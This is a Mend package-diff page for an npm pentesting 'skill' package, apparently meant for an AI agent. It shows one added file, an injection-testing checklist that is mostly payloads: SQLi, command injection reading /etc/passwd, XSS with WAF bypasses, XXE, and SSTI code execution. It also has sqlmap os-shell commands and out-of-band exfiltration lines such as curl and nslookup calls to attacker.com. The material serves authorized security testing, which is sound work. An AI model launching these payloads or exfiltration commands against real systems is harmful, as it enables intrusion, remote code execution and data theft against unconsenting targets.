npm - @soulofzephir/pi-skill-pentesting - Versions diffs - 1.0.0 - Mend

@soulofzephir/pi-skill-pentesting 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Files changed (14) hide show

package/LICENSE +21 -0
package/PUBLISH.md +97 -0
package/README.md +255 -0
package/package.json +39 -0
package/skills/pentesting/SKILL.md +399 -0
package/skills/pentesting/checklists/headers.md +286 -0
package/skills/pentesting/checklists/injection.md +456 -0
package/skills/pentesting/checklists/owasp.md +291 -0
package/skills/pentesting/checklists/ports.md +323 -0
package/skills/pentesting/reports/template.md +268 -0
package/skills/pentesting/tools/generate-report.ps1 +327 -0
package/skills/pentesting/tools/header-scan.ps1 +202 -0
package/skills/pentesting/tools/header-scan.sh +173 -0
package/skills/pentesting/tools/security-scan.ps1 +338 -0

package/skills/pentesting/checklists/injection.md ADDED Viewed

@@ -0,0 +1,456 @@
+# Injection Testing Checklist
+## 🚨 Types of Injection
+| Type | Target | Risk |
+|------|--------|------|
+| SQL Injection | Database | Critical |
+| XSS | Users/Browser | High |
+| Command Injection | OS/Server | Critical |
+| LDAP Injection | Directory | High |
+| XML/XXE | XML Parser | High |
+| XPath Injection | XML Data | Medium |
+| IMAP Injection | Email Server | Medium |
+| ORM Injection | Framework | High |
+| Template Injection | Template Engine | Critical |
+| SSTI | Server Template | Critical |
+---
+## 💉 SQL Injection (SQLi)
+### Types to Test
+- [ ] In-Band SQLi (Union-based)
+- [ ] Blind Boolean-based SQLi
+- [ ] Time-based Blind SQLi
+- [ ] Out-of-Band SQLi
+- [ ] Error-based SQLi
+### Common Injection Points
+```
+URL parameters: /product?id=1' OR '1'='1
+POST body:      username=' OR 1=1--
+Headers:       Cookie: id=1'
+Search:        q=test' UNION SELECT...
+API params:    /api/users?id=1
+File params:   avatar=' OR 1=1--
+```
+### Test Payloads
+**Basic Detection:**
+```
+'
+"
+`
+)
+))
+OR 1=1
+OR '1'='1
+OR 1=1--
+OR 1=1#
+OR '1'='1'--
+```
+**Union-Based:**
+```
+' UNION SELECT NULL--
+' UNION SELECT NULL,NULL--
+' UNION SELECT NULL,NULL,NULL--
+' UNION SELECT 1--
+' UNION SELECT 1,2,3--
+' UNION SELECT NULL,NULL FROM dual--
+```
+**Stacking:**
+```
+'; SELECT SLEEP(5);--
+'; WAITFOR DELAY '0:0:5';--
+```
+**Blind Boolean:**
+```
+' AND 1=1--
+' AND 1=2--
+' AND 'x'='x
+' AND 'x'='y
+' OR (SELECT COUNT(*) FROM users)>0--
+```
+**Time-Based:**
+```
+'; IF(1=1) WAITFOR DELAY '0:0:5'--
+'; SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END--
+'; pg_sleep(5)--
+'; BENCHMARK(5000000,MD5('A'))--
+```
+### Auto Tools
+```bash
+# SQLMap basic
+sqlmap -u "http://target.com/product?id=1" --batch
+# SQLMap with POST
+sqlmap -u "http://target.com/login" --data="username=admin&password=test"
+# SQLMap with cookies
+sqlmap -u "http://target.com/profile" --cookie="PHPSESSID=abc123"
+# SQLMap full enumeration
+sqlmap -u "http://target.com" --batch --level=5 --risk=3 --dbs
+# SQLMap shell
+sqlmap -u "http://target.com" --batch --os-shell
+```
+---
+## 🖥️ Command Injection
+### Test Payloads
+**Linux:**
+```bash
+; whoami
+; ls -la /
+; cat /etc/passwd
+; id
+; pwd
+; uname -a
+| whoami
+| cat /etc/passwd
+&& whoami
+`whoami`
+$(whoami)
+${IFS}cat${IFS}/etc/passwd
+|| whoami
+; ping -c 3 127.0.0.1
+```
+**Windows:**
+```cmd
+; whoami
+; dir c:\
+; type c:\windows\win.ini
+| whoami
+& whoami
+&& whoami
+|| whoami
+`whoami`
+```
+**Blind Command Injection:**
+```bash
+# Linux - time-based
+; sleep 5
+| sleep 5
+&& sleep 5
+|| sleep 5
+# Linux - out-of-band
+; nslookup $(whoami).attacker.com
+; curl http://attacker.com/$(whoami)
+# Windows - time-based
+; ping -n 5 127.0.0.1
+```
+### Common Injection Points
+```
+Search: ?q=test;ls
+Ping:   ?host=127.0.0.1;cat /etc/passwd
+DNS:    ?domain=example.com;id
+Email:  ?to=test@x.com|id
+File:   ?file=report.pdf;whoami
+URL:    /redirect?url=http://evil.com
+```
+### Auto Tools
+```bash
+# Commix
+commix -u "http://target.com/ping?ip=127.0.0.1"
+# SQLMap command injection mode
+sqlmap -u "http://target.com" --os-cmd="whoami"
+# Manual
+# Try: 127.0.0.1;ls
+# Try: 127.0.0.1|ls
+# Try: 127.0.0.1&&ls
+# Try: 127.0.0.1`ls`
+# Try: 127.0.0.1$(ls)
+```
+---
+## 🐙 XSS (Cross-Site Scripting)
+### Types
+- [ ] Reflected XSS
+- [ ] Stored/Persistent XSS
+- [ ] DOM-based XSS
+- [ ] Self-XSS
+- [ ] Blind XSS (PolyChain)
+### Test Payloads
+**Basic:**
+```html
+<script>alert(1)</script>
+<img src=x onerror=alert(1)>
+<svg onload=alert(1)>
+<body onload=alert(1)>
+<input onfocus=alert(1) autofocus>
+<select onfocus=alert(1) autofocus>
+<iframe src="javascript:alert(1)">
+<video><source onerror="alert(1)">
+<audio src=x onerror=alert(1)>
+<details open ontoggle=alert(1)>
+<marquee onstart=alert(1)>
+```
+**Event Handlers:**
+```html
+onload, onerror, onclick
+onmouseover, onmouseout
+onfocus, onblur
+onchange, onsubmit
+onkeydown, onkeyup, onkeypress
+ondblclick, ondrag
+```
+**WAF Bypass:**
+```html
+<SCRIPT>alert(1)</SCRIPT>
+<scrIPT>alert(1)</scrIPT>
+<ScRiPt>alert(1)</sCrIpT>
+<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
+<svg><script>alert(1)</script></svg>
+<svg><g/onload=alert(1)>
+<svg><script>eval('alert(1)')</script></svg>
+<iframe src="javasc&#114;ipt:alert(1)">
+<img src=x:alert(1)>
+<object data="data:text/html,<script>alert(1)</script>">
+```
+**Polyglots:**
+```html
+jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>\x3e
+--></title></textarea></style></script></xmp>><svg/onload=alert(1)//
+'">><marquee><img src=x onerror=alert(1)>
+```
+**DOM XSS:**
+```javascript
+location.href="javascript:alert(1)"
+document.write("<img src=x onerror=alert(1)>")
+eval("alert(1)")
+setTimeout("alert(1)")
+setInterval("alert(1)")
+innerHTML="<img src=x onerror=alert(1)>"
+```
+### Common Injection Points
+```
+URL params:     /search?q=<script>
+Form input:     name=<script>
+Comment:        <img src=x onerror=>
+Profile:        bio=<svg onload=>
+Chat:           message=<script>
+Email:          subject=<script>
+```
+### Auto Tools
+```bash
+# Dalfox (XSS scanner)
+dalfox url "http://target.com/search?q=test"
+# XSStrike
+xsstrike -u "http://target.com/?q=test"
+# Nuclei XSS templates
+nmap --script=http-unsafe-output-escaping,http-cross-site-scripting target.com
+# Manual browser testing required for DOM XSS
+```
+---
+## 📁 LDAP Injection
+### Test Payloads
+```
+*)(objectClass=*
+)(objectClass=*
+*)(objectClass=*
+admin)(&(password=*)
+*)(|
+)(CN=Admin)
+*()
+```
+### Common Points
+```
+Login: username=admin*)(&
+Search: ?search=admin*
+```
+---
+## 📄 XML/XXE Injection
+### Test Payloads
+**Basic XXE:**
+```xml
+<?xml version="1.0"?>
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+<foo>&xxe;</foo>
+```
+**Blind XXE:**
+```xml
+<?xml version="1.0"?>
+<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">]>
+<foo>&xxe;</foo>
+<!-- evil.dtd on attacker.com -->
+<!ENTITY xxe SYSTEM "file:///etc/passwd">
+```
+**Billion Laughs (DoS):**
+```xml
+<!DOCTYPE lolz [
+<!ENTITY lol "lol">
+<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
+<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
+]>
+<lolz>&lol3;</lolz>
+```
+### Common Points
+```
+XML API: /api/import
+SOAP API: /soap
+PDF upload
+Office docs upload
+RSS feed
+```
+---
+## 🔍 XPath Injection
+### Test Payloads
+```
+' or '1'='1
+' or ''='
+admin' or '1'='1
+admin' or ''='
+' or count(/*) > 0
+' or count(/child::node()) > 0
+```
+---
+## 🗂️ Template Injection (SSTI)
+### Jinja2 (Python)
+```python
+{{7*7}}
+{{config}}
+{{config.items()}}
+{{''.__class__.__mro__[1].__subclasses__()}}
+{{lipsum.__globals__.__builtins__}}
+{{cycler.__init__.__globals__.os.system('id')}}
+```
+### Twig (PHP)
+```php
+{{7*7}}
+{{_self.env.setCache("blabla")}}
+{{_self.env.getLoader().getPaths()}}
+{{_self.env.getLoader().getPaths()|escape}}
+```
+### Handlebars (Node.js)
+```javascript
+{{#with "a"}}{{#with "b"}}{{#with "c"}}{{#with "d"}}{{#with (eval "require('child_process').execSync('id')")}}{{this}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}
+```
+---
+## 📧 IMAP/SMTP Injection
+### Test Payloads
+```
+user@domain.com%0ACc:attacker@evil.com
+user@domain.com%0ATo:attacker@evil.com
+user@domain.com%0ASubject:Phishing
+user@domain.com\r\n\r\nPhishing body
+```
+---
+## 🛡️ Injection Prevention Checklist
+- [ ] Input validation (whitelist)
+- [ ] Parameterized queries (prepared statements)
+- [ ] Output encoding/escaping
+- [ ] Content Security Policy
+- [ ] ORM usage (not raw SQL)
+- [ ] No eval() on user input
+- [ ] XML parser secure config
+- [ ] Command execution sandboxed
+- [ ] WAF rules for common payloads
+- [ ] Regular security testing
+---
+## ⚡ Quick Test Scripts
+### SQLi Quick Check
+```bash
+#!/bin/bash
+TARGET=$1
+echo "Testing SQLi on: $TARGET"
+# Basic test
+PAYLOADS=("'" "' OR '1'='1" "' OR 1=1--" "' UNION SELECT NULL--")
+for p in "${PAYLOADS[@]}"; do
+    RESPONSE=$(curl -s "${TARGET}${p}" | grep -iE "sql|syntax|mysql|postgresql|error|warning|mysql_fetch")
+    if [ ! -z "$RESPONSE" ]; then
+        echo "⚠️  VULNERABLE with payload: $p"
+        echo "   Response: $RESPONSE"
+    fi
+done
+```
+### XSS Quick Check
+```bash
+#!/bin/bash
+TARGET=$1
+PAYLOAD="<script>alert('XSS')</script>"
+echo "Testing XSS on: $TARGET"
+curl -s "${TARGET}${PAYLOAD}" | grep -q "alert" && echo "⚠️  Reflected XSS possible"
+# Also test with different encoding
+PAYLOAD2="<img src=x onerror=alert(1)>"
+curl -s "${TARGET}${PAYLOAD2}" | grep -q "alert" && echo "⚠️  Event handler XSS"
+```
+---
+## 📊 Injection Risk Matrix
+| Type | Difficulty to Exploit | Impact | Prevalence |
+|------|----------------------|--------|------------|
+| SQLi | Medium | Critical | Common |
+| Command Injection | Easy | Critical | Common |
+| XSS | Easy | High | Very Common |
+| XXE | Medium | High | Common |
+| LDAP Injection | Medium | High | Less Common |
+| SSTI | Medium | Critical | Less Common |
+| XPath | Medium | Medium | Less Common |